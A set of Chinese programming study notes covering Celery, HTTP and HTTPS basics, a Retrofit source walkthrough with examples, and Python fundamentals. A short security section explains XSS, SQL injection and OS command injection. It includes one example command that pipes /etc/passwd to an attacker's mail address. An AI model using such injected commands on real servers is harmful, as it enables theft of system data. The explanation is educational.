经纪人(broker)🔗
需要发送消息/接收消息,通过第三方消息代理软件,来实现。
#RabbitMQ安装
#Linux系统
sudo apt-get install rabbitmq-server
#Docker
docker run -d -p 5672:5672 rabbitmq
#Redis安装
docker run -d -p 6379:6379 redis
pip install celery
简单例子🔗
#task.py
from celery import Celery
#broker 代理消息的软件 、backend 保存任务结果的后端
app = Celery('tasks', broker='pyamqp://guest@localhost// ',backend='rpc://')
#rabbitMQ pyamqp://guest@localhost//
#redis redis://localhost:6379/0
@app.task
def add(x, y):
return x + y
运行工作服务器🔗
celery -A task worker --loglevel=INFO
调用任务🔗
from tasks import add
add.delay(4, 4)
保存任务🔗
- Celery 内置了几个结果后端可供选择: SQLAlchemy / Django ORM, MongoDB 、 Memcached 、 Redis 、 RPC ( RabbitMQ /AMQP)以及 – 或者您可以定义自己的。
#RPC 结果后端
#backend='rpc://'
from tasks import add
result = add.delay(4,4)
result.ready() #判断结果是否完成
result.get(timeout=1) #获取结果并设置超时1s
result.get() #获取结果
# result.get(propagate=False) 任务异常时get()也会异常,propagate覆盖操作
AttributeError: 'DisabledBackend' object has no attribute '_get_task_meta_for'. Did you mean: 'get_task_meta_for'?
# 解决 重启调用任务的Python
# 单个配置
app.conf.task_serializer = 'json'
# update 多个配置
app.conf.update(
task_serializer='json',
accept_content=['json'], # Ignore other content
result_serializer='json',
timezone='Europe/Oslo',
enable_utc=True,
)
# 配置模块
app.config_from_object('celeryconfig')
celeryconfig.py
###
broker_url = 'pyamqp://'
result_backend = 'rpc://'
task_serializer = 'json'
result_serializer = 'json'
accept_content = ['json']
timezone = 'Europe/Oslo'
enable_utc = True
###
python -m celeryconfig # 验证配置模块是否正确
一次HTTP请求链路过程🔗
- 1.首先是==发送端==通过浏览器输入url链接请求资源,浏览器访问==DNS服务==器查询到IP地址。
- 2.传输层通过==TCP协议==对HTTP报文进行分段处理,按编号发送给IP网络层。
- 3.网络层通过==IP协议==进行分发数据包。
- 4.接收端传输层通过==TCP协议==接收数据包,按编号整合成HTTP数据包。
- 5.接收端读取==HTTP数据包==处理请求,并给发送HTTP响应报文。
TCP三次握手🔗
首先是发送端==发送SYN(synchronize)==数据包给接收端,
接收端收到后==回复SYN/ACK(acknowledgement)==数据包给发送端,
然后发送端再==发送ACK==数据包给接收端,连接建立。
如果中间中断,重新发送。
TCP断开连接🔗
首先==接收端发送FIN==数据包给发送端,
然后==发送端回复ACK==数据包给接收端,
然后==发送端发送FIN==数据包给接收端,
最后==接收端回复ACK==数据包给发送端。
URI(统一资源标识符)和URL(统一资源定位符)🔗
http://zxy:123@www.zxy.com/path1?a=1#sec1
方案、认证信息、==服务器地址、端口==、路径、查询信息、片段
HTTP协议请求报文🔗
请求方法(GET / POST) 请求资源URI HTTP协议版本
请求首部字段 (请求头)
==空格== ==【CR 0x0d +LF 0x0a】==
请求体
HTTP协议响应报文🔗
HTTP协议版本 响应码 原因短语
响应首部字段(响应头)
==空格==
响应体
能够使通信上的服务器提供非Http协议的服务。
请求头介绍🔗
- 47种首部字段
- 通用首部字段 (请求和响应都使用的字段)
Cache-Control 控制缓存的行为
Connection 逐跳首部、连接的管理
Date 创建报文的日期时间
Pragma 报文指令
Trailer 报文末端的首部一览
Transfer-Encoding 指定报文主体的传输编码方式
Upgrade 升级为其他协议
Via 代理服务器的相关信息
Warning 错误通知
Accept 用户代理可处理的媒体类型
Accept-Charset 优先的字符集
Accept-Encoding 优先的内容编码
Accept-Language 优先的语言(自然语言)
Authorization Web认证信息
Expect 期待服务器的特定行为
From 用户的电子邮箱地址
Host 请求资源所在服务器
If-Match 比较实体标记(ETag)
If-Modified-Since 比较资源的更新时间
If-None-Match 比较实体标记(与If-Match相反)
If-Range 资源未更新时发送实体Byte的范围请求
If-Unmodified-Since 比较资源的更新时间(与If-Modified-Since相反)
Max-Forwards 最大传输逐跳数
Proxy-Authorization 代理服务器要求客户端的认证信息
Range 实体的字节范围请求
Referer 对请求中URI的原始获取方
TE 传输编码的优先级
User-Agent HTTP 客户端程序的信息
Accept-Ranges 是否接受字节范围请求
Age 推算资源创建经过时间
ETag 资源的匹配信息
Location 令客户端重定向至指定URI
Proxy-Authenticate 代理服务器对客户端的认证信息
Retry-After 对再次发起请求的时机要求
Server HTTP服务器的安装信息
Vary 代理服务器缓存的管理信息
WWW-Authenticate 服务器对客户端的认证信息
- 实体首部字段 (请求报文实体和响应报文实体都使用的字段)
Allow 资源可支持的HTTP方法
Content-Encoding 实体主体适用的编码方式
Content-Language 实体主体的自然语言
Content-Length 实体主体的大小(单位 :字节)
Content-Location 替代对应资源的URI
Content-MD5 实体主体的报文摘要
Content-Range 实体主体的位置范围
Content-Type 实体主体的媒体类型
Expires 实体主体过期的日期时间
Last-Modified 资源的最后修改日期时间
Cookie状态追踪 ==Set-Cookie==🔗
keep-alive 持久连接🔗
不用连接一次http请求一次tcp连接。
只要tcp没断开,继续http请求,不用重新连接tcp。
MIME(Multipurpose Internet Mail Extensions)多用途因特网邮件扩展🔗
- multipart/form-data 表单访问
- multipart/byteranges 部分内容访问
- boundary=xx来划分不同数据类型
Content-Type: multipart/form-data; boundary=xx
--xx
--xx
--xx--
部分内容请求获取🔗
==Range: bytes==请求头
==Range: bytes== =1-5000, 5000-
内容协商🔗
==Access==请求头
HTTPS🔗
数字签名🔗
利用非对称加密算法,拿==私钥对摘要信息进行加密==,然后公钥进行解密验证信息。
最重要的是非对称加密算法特性,==私钥和公钥是一对好CP==。一方加密,另一方就解密。
数字证书🔗
用于证明==公钥的合法性==,使用私钥对数字签名的公钥进行加密。
根证书🔗
是公开可信的自签名证书。整个密钥链认证体系,构成了密钥基础设施(PKI)。
Https证书认证过程🔗
证书是由公钥、颁发机构CA等明文内容+明文内容的hash计算值的签名组成。(签名:使用私钥进行加密)。
首先是客户端获取到服务器的证书,这个证书可能会包括中间证书,最后会指向根证书。
然后对证书的签名进行验证证书合法性,使用证书颁发机构CA的公钥对签名进行解密,获得hash值并比较证书内容计算后的hash值是否相同,来判断证书是否合法。
如果服务器证书包含中间证书的话,1.先获取中间证书的公钥来解密签名判断服务器证书有效性。2.再根据中间证书的颁发机构CA,获取中间证书颁发机构CA的公钥解密中间证书的签名,证明中间证书的有效性。3.以此类推,最后指向一个根证书,只要证明根证书的签名合法性,也就证明了这些中间证书也是合法的。最后,判断服务器证书也是合法的。就可以用服务器证书的公钥,对数据传输的对称密钥进行加密,通过对称密钥进行加密通信。
证书分类🔗
==费解的地方:要分类证书类别,对公钥功能拆分。除了根证书,签名验证要找证书认证机构的公钥。而不是自己的公钥==
服务器证书:公钥,用于加密通信用。
中间证书:公钥,用于证明服务器证书合法性
根证书:公钥,用于证明中间证书/服务器证书的合法性。自签名证书,公钥解密自己的签名。
HTTPS 通信🔗
- 双方通信,客户端获取服务端证书并验证后,发送随机密钥串,完成SSL握手。客户端开始通过密钥串对HTTP报文加密通信。
身份认证🔗
BASIC认证🔗
HTTP1.0就有了,使用请求头加入账号:密码的Base64字符串形式,不够安全。
表单认证🔗
也就是利用post请求提交表单,利用cookie携带登录信息认证的。
WebDAV🔗
WebDAV( Web-based Distributed Authoring and Versioning,基于万
维网的分布式创作和版本控制)
是HTTP的扩展协议,用于服务器相关文件操作,增加了其他的请求方法。
CSS🔗
让文档内容和设计分离。
XML🔗
XML( eXtensible Markup Language,可扩展标记语言)
SGML🔗
标准通用标记语言 SGML( Standard Generalized
Markup Language)
JSON🔗
JSON( JavaScript Object Notation)是一种以 JavaScript( ECMAScript)
的对象表示法为基础的轻量级数据标记语言。
XSS🔗
跨站脚本攻击( Cross-Site Scripting, XSS),就是在访问一个网页请求时,添加一些<script/>
脚本代码,里面会访问其他网站,这样会把账号和密码等信息传给其他网站。也可以通过==document.cookie==把当前网站的cookie传给第三方网站。
SQL 注入攻击🔗
SQL 注入( SQL Injection),是指Web中通过请求来访问SQL语句时,利用SQL语法特性,比如:添加--表示注释,就把后面一些条件去掉了。达到修改SQL语句来获取请求查询结果。
OS注入攻击🔗
利用服务器web请求,对请求参数执行os指令来进行加入一些os指令获取信息。比如:发送邮箱内容时,额外添加cat /etc/passwd | mail hack@example.jp,来达到发送服务器密码给邮箱。

1. 介绍🔗
Retrofit主要是基于OKHttp进一步封装的网络请求的框架。它采用了一种接口方法声明请求的方式,使用方法注解和方法参数注解进行标记请求信息,通过动态代理访问接口方法并解析Method,最后将请求信息汇总组装成okhttp3.Request对象,再根据接口方法返回值类型决定调用适配器(CallAdapter),内部通过okhttp3.Call.enqueue(..) 或okhttp3.Call.execute() 同步/异步请求,请求响应后通过转换器(Converter)把okhttp3.ResponseBody数据再进行一次转换得到最后的数据。
2.suspend 关键字,Kotlin 协程方式使用🔗
接口方法标记为suspend,会把返回类型T 包装成Call,然后使用异步(enqueue),通过KotlinExtensions.kt下的Call.await()包装成协程执行(请求时挂起协程,响应后协程resume继续执行)。
3.CallAdapter实现类介绍🔗
RxJava2CallAdapterFactory
.create(isAsync);//isAsync = true or false来判断是否是异步或同步请求。默认是同步请求也就是false。
- 默认的CallAdapter实现类
DefaultCallAdapterFactory
:Call<T>类型的,调用同步(execute)或异步(enqueue)。
CompletableFutureCallAdapterFactory
:CompletableFuture<T>类型的,使用异步(enqueue)。
4.用法🔗
这一小节通过一系列不同请求方式的代码来展示相关的用法。
主要分为6个文件,具体代码文件在最后面。
- ServiceInterface.kt 声明接口请求
- Main.kt 测试接口请求
- ApiConverterFactory.java 转换器工厂类
- ApiRequestBodyConverter.java 转为RequestBody对象转换器类 (@Part 参数对象转为RequestBody)
- ApiResponseBodyConverter.java ResponseBody对象转换器类
- HttpBinResponse.java ResponseBody装好后的数据类
4.1 基本用法🔗
- 1.GET 请求下载文件
- 2.GET 请求
- 3.GET 请求 查询?name=value
- 4.GET 请求 查询?name
- 5.POST 请求
- 6.POST 请求 表单数据提交 name="名字"&content="内容"
- 7.POST 请求 多部分表单提交 multipart/form-data
4.2 进阶用法🔗
- 1.通过@URL 请求一个不同地址的URL
- 2.通过Interceptor拦截器,实现动态设置不同BaseUrl
5. 源码具体示例分析🔗
这一小节,通过一个post表单提交梳理下执行流程。以下是这个post请求的代码:分为三部分
- 1.接口请求声明部分
- 2.Retrofit类构建,并返回接口的实现类部分
- 3.接口请求测试部分
interface ServiceInterface {
...
companion object {
var BASE_URL = "http://www.httpbin.org/"
}
@POST("/post")
@FormUrlEncoded
fun post(@Field("name") name:String,@Field("content") content:String): Call<ResponseBody>
...
}
public class Main {
...
private static ServiceInterface sServiceInterface
= new Retrofit.Builder()
.baseUrl(ServiceInterface.Companion.getBASE_URL())
.client(new OkHttpClient.Builder().build())
.addCallAdapterFactory(RxJava2CallAdapterFactory.create())
.addConverterFactory(ApiConverterFactory.create())
.build()
.create(ServiceInterface.class);
/**
* Post请求,表单提交 @FormUrlEncoded @Field
*/
@Test
public void testPostFormUrlEncoded(){
String s = null;
try {
Response<ResponseBody> response = sServiceInterface.post("名字","内容").execute();
s = response.body().string();
} catch (IOException e) {
e.printStackTrace();
}
System.out.println(s);
}
...
}
从sServiceInterface.post("名字","内容").execute();
开始分析
1.先看看sServiceInterface
是怎么创建的?
2.再看看调用post("名字","内容")
方法是怎么回事?
3.最后看下执行execute()
是怎么样的?
开始分析1.🔗
//先进入Retrofit#create(..)方法
public <T> T create(final Class<T> service) {
return (T)
Proxy.newProxyInstance(
service.getClassLoader(),
new Class<?>[] {service},
new InvocationHandler() {
...
@Override
public @Nullable Object invoke(Object proxy, Method method, @Nullable Object[] args)
throws Throwable {
...
return platform.isDefaultMethod(method)
? platform.invokeDefaultMethod(method, service, proxy, args)
: loadServiceMethod(method).invoke(args); //看重点部分
}
});
//分析1结束,通过Proxy.newProxyInstance(..)动态代理获取接口ServiceInterface代理对象。
开始分析2.🔗
从上一步的loadServiceMethod(method).invoke(args)
开始分为2个部分:
- 2.1
loadServiceMethod(method)
- 2.2 调用
invoke(args)
方法
开始分析2.1 loadServiceMethod(method)
🔗
//从Retrofit#loadServiceMethod(..)开始
ServiceMethod<?> loadServiceMethod(Method method) {
...
result = ServiceMethod.parseAnnotations(this, method);
...
}
return result;
}
//ServiceMethod#parseAnnotations(..)
static <T> ServiceMethod<T> parseAnnotations(Retrofit retrofit, Method method) {
//解析生成RequestFactory对象,具体流程在【流程图】图片有描述
RequestFactory requestFactory = RequestFactory.parseAnnotations(retrofit, method);
return HttpServiceMethod.parseAnnotations(retrofit, method, requestFactory);
}
//HttpServiceMethod.parseAnnotations(..)
static <ResponseT, ReturnT> HttpServiceMethod<ResponseT, ReturnT> parseAnnotations(
Retrofit retrofit, Method method, RequestFactory requestFactory) {
...
adapterType = method.getGenericReturnType();
...
//获取调用适配器CallAdapter对象,具体流程在【流程图】图片有描述
CallAdapter<ResponseT, ReturnT> callAdapter =
createCallAdapter(retrofit, method, adapterType, annotations);
Type responseType = callAdapter.responseType();
...
//获取转换器Converter对象,具体流程在【流程图】图片有描述
Converter<ResponseBody, ResponseT> responseConverter =
createResponseConverter(retrofit, method, responseType);
...
okhttp3.Call.Factory callFactory = retrofit.callFactory;
return new CallAdapted<>(requestFactory, callFactory, responseConverter, callAdapter);
...
}
/**CallAdapted extends HttpServiceMethod<ResponseT, ReturnT>
HttpServiceMethod<ResponseT, ReturnT> extends ServiceMethod<ReturnT>
**/
//最后返回CallAdapted对象,分析2.1结束。
开始分析 2.2 调用invoke(args)
方法🔗
/**CallAdapted中没有invoke方法,invoke方法的实现位于它的父类HttpServiceMethod中**/
//HttpServiceMethod#invoke(..)
@Override
final @Nullable ReturnT invoke(Object[] args) {
Call<ResponseT> call = new OkHttpCall<>(requestFactory, args, callFactory, responseConverter);
return adapt(call, args);
}
//adapt(call, args)方法的实现位于CallAdapted中
//CallAdapted#adapt(..)
@Override
protected ReturnT adapt(Call<ResponseT> call, Object[] args) {
return callAdapter.adapt(call);
}
/**调用到CallAdapter#adapt(call)方法,由于之前请求接口方法返回值是Call<ResponseBody>,所以调用DefaultCallAdapterFactory#get(..)返回callAdapter对象
**/
//DefaultCallAdapterFactory#get(..)
@Override
public @Nullable CallAdapter<?, ?> get(
Type returnType, Annotation[] annotations, Retrofit retrofit) {
...
return new CallAdapter<Object, Call<?>>() {
@Override
public Type responseType() {
return responseType;
}
@Override
public Call<Object> adapt(Call<Object> call) {
return executor == null ? call : new ExecutorCallbackCall<>(executor, call);
}
};
}
//最后返回ExecutorCallbackCall对象,分析2.2结束
开始分析3.🔗
//从上一步最后返回ExecutorCallbackCall对象,开始分析
//在ExecutorCallbackCall类中
...
ExecutorCallbackCall(Executor callbackExecutor, Call<T> delegate) {
this.callbackExecutor = callbackExecutor;
this.delegate = delegate;
}
//ExecutorCallbackCall#execute()
@Override
public Response<T> execute() throws IOException {
return delegate.execute();
}
//由上可知delegate是OkHttpCall对象
//OkHttpCall#execute()
@Override
public Response<T> execute() throws IOException {
okhttp3.Call call;
...
//获取okhttp3.Call对象,具体流程在【流程图】图片有描述
call = getRawCall();
}
...
return parseResponse(call.execute());
}
//OkHttpCall#parseResponse(call.execute())
Response<T> parseResponse(okhttp3.Response rawResponse) throws IOException {
ResponseBody rawBody = rawResponse.body();
...
ExceptionCatchingResponseBody catchingBody = new ExceptionCatchingResponseBody(rawBody);
try {
//Converter转换器转换数据,然后返回
T body = responseConverter.convert(catchingBody);
return Response.success(body, rawResponse);
} catch (RuntimeException e) {
catchingBody.throwIfCaught();
throw e;
}
}
//最后Converter转换器转换数据,然后返回retrofit2.Response对象,分析3结束。
sServiceInterface.post("名字","内容").execute();
- 1.
sServiceInterface
通过Proxy.newProxyInstance(..)动态代理获取接口ServiceInterface代理对象。
- 2.调用
post("名字","内容")
方法时,开始执行动态代理内部方法,通过层层解析返回ExecutorCallbackCall类,其中包含OkHttpCall对象变量,OkHttpCall中主要包含了一些okhttp3.Request、okhttp3.Call.execute()等处理。
- 3.执行
execute()
,最后就是执行了okhttp3.Call.execute()。
- 1.对于super和extends的上界下界:
List<? super Food> 表示Food的超类,说明Food是?的下界 (只能add,不能get)
List<? extends Fruit> 表示Fruit的子类,说明Fruit是?的上界 (只能get,不能add)
class Food{}
class Fruit extends Food {}
6. 附录🔗
【4】用法示例源码
interface ServiceInterface {
companion object {
var BASE_URL = "http://www.httpbin.org/"
}
@Streaming
@GET
fun downloadFile(
@Header("RANGE") downParam: String,
@Url fileUrl: String
): Call<ResponseBody>
@GET("/")
fun get(): Call<ResponseBody>
@GET("/get")
fun get(@Query("name")name:String,@Query("content")content: String): Call<HttpBinResponse>
@GET("/get")
fun get(@QueryName name:String): Call<ResponseBody>
@POST("/post")
fun post(): Call<ResponseBody>
@POST("/post")
@FormUrlEncoded
fun post(@Field("name") name:String,@Field("content") content:String): Call<ResponseBody>
@POST("/post")
@Multipart
fun post(@Part("va") va:RequestBody,@Part("name\"; filename=\"name.png")name: File, @Part("name2\"; filename=\"name2.png")name2: File): Call<ResponseBody>
}
public class Main {
private static ServiceInterface sServiceInterface = new Retrofit.Builder().baseUrl(ServiceInterface.Companion.getBASE_URL()).client(
new OkHttpClient.Builder().addInterceptor(new Interceptor() {
private volatile String host;
public void setHost(String host) {
this.host = host;
}
@NotNull
@Override
public okhttp3.Response intercept(@NotNull Chain chain) throws IOException {
Request request = chain.request();
String host = this.host;
if (host != null) {
HttpUrl newUrl = request.url().newBuilder().host(host).build();
request = request.newBuilder().url(newUrl).build();
}
return chain.proceed(request);
}
}).build())
.addCallAdapterFactory(RxJava2CallAdapterFactory.create())
.addConverterFactory(ApiConverterFactory.create())
.build().create(ServiceInterface.class);
{
// System.setProperty("http.proxyHost", "127.0.0.1");
// System.setProperty("https.proxyHost", "127.0.0.1");
// System.setProperty("http.proxyPort", "8888");
// System.setProperty("https.proxyPort", "8888");
}
public static void main(String[] args) throws Exception {
}
/**
* Get请求,
*/
@Test
public void testGet(){
String s = null;
try {
Response<ResponseBody> response = sServiceInterface.get().execute();
s = response.body().string();
} catch (IOException e) {
e.printStackTrace();
}
System.out.println(s);
}
/**
* Get请求下载,带有 @Streaming
*/
@Test
public void testGetDownload(){
String url = "https://www.httpbin.org/image/png";
try {
Response<ResponseBody> response = sServiceInterface.downloadFile("Range: bytes=0-",url).execute();
BufferedSink sink = Okio.buffer(Okio.sink(new File("C:\\Users\\Administrator\\Desktop", "testImage.png")));
sink.writeAll(response.body().source());
sink.close();
System.out.println("req图片");
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* Get请求,带有@QueryName ?name
*/
@Test
public void testGetQueryName(){
String s = null;
try {
Response<ResponseBody> response = sServiceInterface.get("name").execute();
s = response.body().string();
} catch (IOException e) {
e.printStackTrace();
}
System.out.println(s);
}
/**
* Get请求,带有@Query ?name=value&name2=value2
*/
@Test
public void testGetQuery(){
String s = null;
try {
Response<HttpBinResponse> response = sServiceInterface.get("名字","内容").execute();
s = response.body().getData();
System.out.println("url="+new Gson().fromJson(s,HttpBinResponse.Entity.class).getUrl()+" \n"+s);
} catch (IOException e) {
e.printStackTrace();
}
}
/**
* Post请求
*/
@Test
public void testPost(){
String s = null;
try {
Response<ResponseBody> response = sServiceInterface.post().execute();
s = response.body().string();
} catch (IOException e) {
e.printStackTrace();
}
System.out.println(s);
}
/**
* Post请求,表单提交 @FormUrlEncoded @Field
*/
@Test
public void testPostFormUrlEncoded(){
String s = null;
try {
Response<ResponseBody> response = sServiceInterface.post("名字","内容").execute();
s = response.body().string();
} catch (IOException e) {
e.printStackTrace();
}
System.out.println(s);
}
/**
* Post请求,多部分表单提交 @Multipart @Part
*/
@Test
public void testPostMultipart() {
RequestBody aa = RequestBody.create("name=11&value=22", MediaType.parse("text/plain"));
try {
Response<ResponseBody> response = sServiceInterface.post(aa,new File("C:\\Users\\Administrator\\Desktop\\1.png"),new File("C:\\Users\\Administrator\\Desktop\\2.png")).execute();
String s = response.body().string();
System.out.println(s);
HttpBinResponse.Entity entity = new Gson().fromJson(s, HttpBinResponse.Entity.class);
String name = entity.getFile().get("name").replace("data:image/png;base64,","");
File file = new File("C:\\Users\\Administrator\\Desktop\\multipart.png");
FileOutputStream out = new FileOutputStream(file);
out.write(Base64.getDecoder().decode(name));
out.flush();
out.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
public class ApiConverterFactory extends Converter.Factory{
public static ApiConverterFactory create(){
return new ApiConverterFactory();
}
@Nullable
@Override
public Converter<?, RequestBody> requestBodyConverter(Type type, Annotation[] parameterAnnotations, Annotation[] methodAnnotations, Retrofit retrofit) {
return new ApiRequestBodyConverter();
}
@Nullable
@Override
public Converter<ResponseBody, ?> responseBodyConverter(Type type, Annotation[] annotations, Retrofit retrofit) {
return new ApiResponseBodyConverter();
}
}
public class ApiRequestBodyConverter implements Converter<File, RequestBody> {
@Nullable
@Override
public RequestBody convert(File value) throws IOException {
if(value.getAbsolutePath().contains(".png")){
RequestBody bodyParams = RequestBody.create(value,MediaType.parse("image/png"));
return bodyParams;
}
return null;
}
}
public class ApiResponseBodyConverter implements Converter<ResponseBody, HttpBinResponse> {
@Nullable
@Override
public HttpBinResponse convert(ResponseBody value) throws IOException {
String json = value.string();
HttpBinResponse response = new HttpBinResponse();
try{
response.setCode(1);
response.setMessage("Success");
response.setData(json);
}catch (Exception e){
e.printStackTrace();
}
return response;
}
}
public class HttpBinResponse {
private String message;
private int code;
private Entity entity;
private String data;
public String getMessage() {
return message;
}
public void setMessage(String message) {
this.message = message;
}
public int getCode() {
return code;
}
public void setCode(int code) {
this.code = code;
}
public Entity getEntity() {
return entity;
}
public void setEntity(Entity entity) {
this.entity = entity;
}
public String getData() {
return data;
}
public void setData(String data) {
this.data = data;
}
public static class Entity{
private Object args;
private String data;
private Map<String,String> files;
private Map<String,String> form;
private Map<String,String> headers;
private String json;
private String origin;
private String url;
public Object getArg() {
return args;
}
public void setArg(Object arg) {
args = arg;
}
public String getData() {
return data;
}
public void setData(String data) {
this.data = data;
}
public Map<String,String> getFile() {
return files;
}
public void setFile(Map<String,String> file) {
files = file;
}
public Map<String, String> getForm() {
return form;
}
public void setForm(Map<String, String> form) {
this.form = form;
}
public Map<String, String> getHeader() {
return headers;
}
public void setHeader(Map<String, String> header) {
headers = header;
}
public String getJson() {
return json;
}
public void setJson(String json) {
this.json = json;
}
public String getOrigin() {
return origin;
}
public void setOrigin(String origin) {
this.origin = origin;
}
public String getUrl() {
return url;
}
public void setUrl(String url) {
this.url = url;
}
@Override
public String toString() {
return "Data{" +
"args=" + args +
", data='" + data + '\'' +
", files=" + files +
", form=" + form +
", headers=" + headers +
", json='" + json + '\'' +
", origin='" + origin + '\'' +
", url='" + url + '\'' +
'}';
}
}
}
[TOC]
- 跨行字符串使用
'''
表示
callable(object)
可调用对象判断函数,类是可调用对象,实例需要实现__call__
方法
- if条件句变式
<A> if <B> else <C>
默认返回A,如果B为False返回C
if <A> is not <B>:
字面意思A不是B,为True
if not <A>:
A是空(False),为True
- 一个类中,相同方法名,后面方法覆盖前面方法
- 魔法方法
__setattr__
拦截赋值 重写该方法,当实例对属性进行赋值时,会调用该方法
__getattr__
拦截运算 重写该方法,当实例直接引用不能存在的属性时,会调用该方法
//
:做除法并返回不大于结果的整数
[cls(**r) for r in rs]
,cls表示类接收一个关键字参数,rs表示迭代器。
通过迭代器把关键字参数传入到cls中,然后返回一个list对象
1.执行模式🔗
1.交互式模式(直接输入,并解释)🔗
>>>print("hello world")
2.命令行模式🔗
2.语法-关键字🔗
2.1变量类型任意-动态语言,变量类型固定-静态语言🔗
- 1.语句缩进风格,大小写区分
- 2.数据类型:
浮点型:"2e5"表示 2*10的5次方,"2e-5" 表示2*10的-5次方
布尔型:"True" 或 "False"
逻辑符号: "and"(与)、"or"(或)、"not"(非)
空值:"None"
- 3.除法:"//"表示除法最后结果只取整数部分
2.2格式化输出🔗
- 1.使用 “%”
PS: print("Hello,%s"%'World',"ok%d"%3)
输出 Hello,World ok3
- 2.使用format(),使用占位符{0},{1}...
PS:print("{0},{1}".format('Hello','World'))
2.3 list(可变数组 <中括号> []
)和tuple(不可变数组 <小括号> ()
)🔗
- list相关
num=[1,2,3]
num=[] (空数组)
num[0]输出 1
num[1]输出 2
num[-1]输出 3
num[-2]输出 2
num[-3]输出 1
num[-4]报错
num.append("a") 输出 [1,2,3,'a']
num.insert(1,1.1) 输出 [1,1.1,2,3,'a']
num.insert(-1,'last_1') 输出[1,1.1,2,3,'last_1','a']
num.pop()输出[1,1.1,2,3,'last_1']
num.pop(1)输出[1,2,3,'last_1']
num.pop(-1)输出[1,2,3]
- tuple相关
#没有"增加/删除"方法,数组不变
num=[1,2]
finalNum=(1,2,num)
finalNum=()(空数组)
如果定义finalNum=(1),python防止和表达式歧义,
规定finalNum变量表示数字1。
可以这样表示 finalNum=(1,)
finalNum[0]输出 1
finalNum[1]输出 2
finalNum[-1]输出 [1,2]
finalNum[-1][0] 输出 1
2.4 条件判断🔗
2.5 循环🔗
2.6 数据集合:dict 和 set🔗
-
dict
<大括号> {}
(dictionary) Java中的map
d={'a':1,'b':2,"c":3}
d['a'] 输出 1
d['a'] ='1a' #赋值
`<key> in <dict>`
`<dict>.get(<key>)` #不存在返回 None
`<dict>.get(<key>,<defaultValue>)` #不存在返回 <defaultValue>
-
set
<小括号> ()
定义 :需要list数组
a = [1,2,3]
b=set(a) 或 b =set([1,2,3])
- add
<set>.add(<key>)
- remove
<set>.remove(<key>)
- 逻辑操作
&
、|
、 -
s1=([1,2,3])
s2=([2,3,4])
s1 & s2 输出 {2,3}
s1 | s2 输出 {1,2,3,4}
s1 - s2 输出 {1}
2.7 函数🔗
- 1.函数定义:
def
<method_name>(params):
- 2.空函数:
def
<method_name>():
pass
- 3.return:
- 1.return表示结束,等价于 return None
- 2.不写默认返回 return None
- 3.返回tuple类型可省略
()
,PS: return (x,y) 变为 return x,y
- 4.导入模块(.py文件):
- 1.引入整个模块:
import
math 说明导入math包
PS:自定义文件tri.py,import tri
引入tri文件到内存 通过 tri.<mothod>()访问
- 2.导入模块中的某个方法:
- 某个函数:
from
<文件名> import
<函数名>
- 全部函数:
from
<文件名> import *
- 5.参数:
-
- 必选参数
- 1.默认参数,
参数
=值
默认参数必须指向不变对象
,如果值是[]
,那么每次调用都是原来的[]
def power(x,n=2):
pass
调用方式:
1.power(5),默认n=2
2.power(5,3)
def count(*params):
sum = 0;
for p in params:
sum = sum +p
return sum
调用方式:
1.count(1) 输出 1
2.count(1,2,3) 输出 6
3.count(*[1,2,3]) 输出 6
def student(name,age,**params):
print("name",name,'age',age,'params',params)
调用:
1.student('a',12) 输出 name a age 12 params {}
2.student('b',12,a=122,b=1223) 输出 name b age 12 params {'a': 122, 'b': 1223}
3.student(1,2,**{'a':2}) 输出 name 1 age 2 params {'a': 2}
- 4.命令关键字参数:
*,<key1>,<key2>
(PS:如果前面有可变参数,可不用加*,
)
def student(name,age,*,gender,city):
print('name',name,'age',age,gender,city)
调用:
1.student('a',110) 输出 TypeError..
2.student('a',123,gender='male',city='fz') 输出 name 1 age 2 male fz
- 5.参数组合:顺序- 必选参数->默认参数->可变参数->命令关键字参数->关键字参数
def s(a,b,c=0,*d,city,**kw):
print('a=',a,'b=',b,'c=',c,'d=',d,'city=',city,'kw=',kw)
调用:
1.s(1,2,city=22)
输出 a= 1 b= 2 c= 0 d= () city=22 kw= {}
2.s(1,2,3,4,5,city=22,a=1,b=2)
输出 a= 1 b= 2 c= 3 d= (4, 5) city= 22 kw= {'d': 1, 'e': 2}
3.s(1,2,3,4,5) 输出TypeError:missing city
2.8高级特性🔗
- 1.切片(Slice):取数组元素的简便方式
- 默认是索引0开始并且递增速度1,可反向索引
[0:3]
或[:3]
取数组 [0],[1],[2]
[-1:]
取数组 [2]
[:]
取全部
[::5]
在全部中,每个5个取一个
[:10:2]
在数组0~9的元素中每隔2个取一个
- 2.列表生成式:列表的每个元素进行一次表达式计算
- 格式:
[<变量的表达式> for <变量> in <序列>]
def L2(L):
L2 = []
for x in L:
L2.append(x*x)
return L2
调用: [1,2,3] ->[1,4,9]
1.sum2(list(range(1,4)))
2.列表生成式: [x*x for x in range(1,4)]
- 3.生成器(Generator):动态生成列表的每个元素,可通过
next(<Generator>)
进行访问
- 1.列表表达式改为小括号
(<变量的表达式> for <变量> in <序列>)
- 2.设置函数中的
yield
,变成一个Generator,函数每次调用返回一个新的Generator
g.send(<参数>)
:传入值,并调用next(g)
,g=Generator
- return时,StopIteration
杨辉三角: C(n,i)=C(n-1,i-1)+C(n-1,i)
递归关系式 (n>1,1<=i<=n n表示行,i表示第n行的第i个数) C(1,1)=1
def triangles():
L = [1]
while True:
yield L
L = [sum(i) for i in zip([0]+L,L+[0])] #补[0]作用:行项+1,每个项是[n-1,n]队列
2.9 函数式编程🔗
-
1.定义:一种抽象程度很高的程序范式,纯粹的函数式编程没有变量。任意函数输入确定,那么输出
也确定,称为没有副作用。对于有变量的相同输入,可能有不同输出,称为有副作用。
-
2.高阶函数:
- 特点:
- 1.允许函数作为一个
变量
、函数返回值
。
- 2.
函数名变量
:函数名作为变量
- 3.
函数参数
:可接收另一个函数作为参数
- map/reduce
map(<method_name>,<Iterable>)
return <Iterator>,需要list(<Iterator>)变为列表
其中<Iterable>
的每个元素都被<method_name>
作用一次
reduce(<method_name>,<Iterable>)
- 1.需要引入
from functools import reduce
- 2.
<method_name>
需要2个参数,
返回的值继续和<Iterable>
的下一个值进行函数计算
- filter:
filter(<method_name>,<Iterable>)
和map
函数类似
不同的是<method_name>
根据返回True/False,<Iterable>
过滤False的item
- sorted:
sorted(<Iterable>,**kw)
,<Iterable>
进行排序
其中**kw
,可选择接受 key=<method_name>
(PS:abs,str.lower)自定义排序,
reverse=True反向排序
-
3.返回函数:
- 返回函数,需要变量进行函数调用,每次调用返回新的函数
